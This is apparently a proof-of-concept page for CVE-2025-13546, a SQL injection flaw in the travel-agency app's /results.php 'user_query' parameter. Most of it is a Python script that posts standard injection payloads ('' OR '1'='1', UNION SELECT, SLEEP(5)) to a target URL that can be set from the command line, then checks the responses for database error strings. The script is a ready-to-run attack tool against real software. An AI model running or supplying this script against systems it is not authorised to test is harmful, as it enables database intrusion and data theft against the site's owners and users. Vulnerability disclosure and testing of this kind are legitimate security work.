CVE-2025-13546 ashraf-kabir travel-agency SQL注入漏洞

# CVE-2025-13546 SQL Injection PoC # Target: ashraf-kabir travel-agency /results.php # Parameter: user_query import requests import sys target_url = "http://target.com/results.php" # Basic SQL Injection test payloads payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "' OR 1=1 LIMIT 1--" ] def test_sql_injection(url, param='user_query'): print(f"[*] Testing SQL Injection on {url}") for payload in payloads: data = {param: payload} try: response = requests.post(url, data=data, timeout=10) print(f"[+] Payload tested: {payload}") print(f" Status: {response.status_code}") # Check for SQL error indicators if any(err in response.text for err in ['SQL', 'mysql', 'syntax', 'Warning']): print(f"[!] Potential SQL Injection detected!") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_sql_injection(target_url)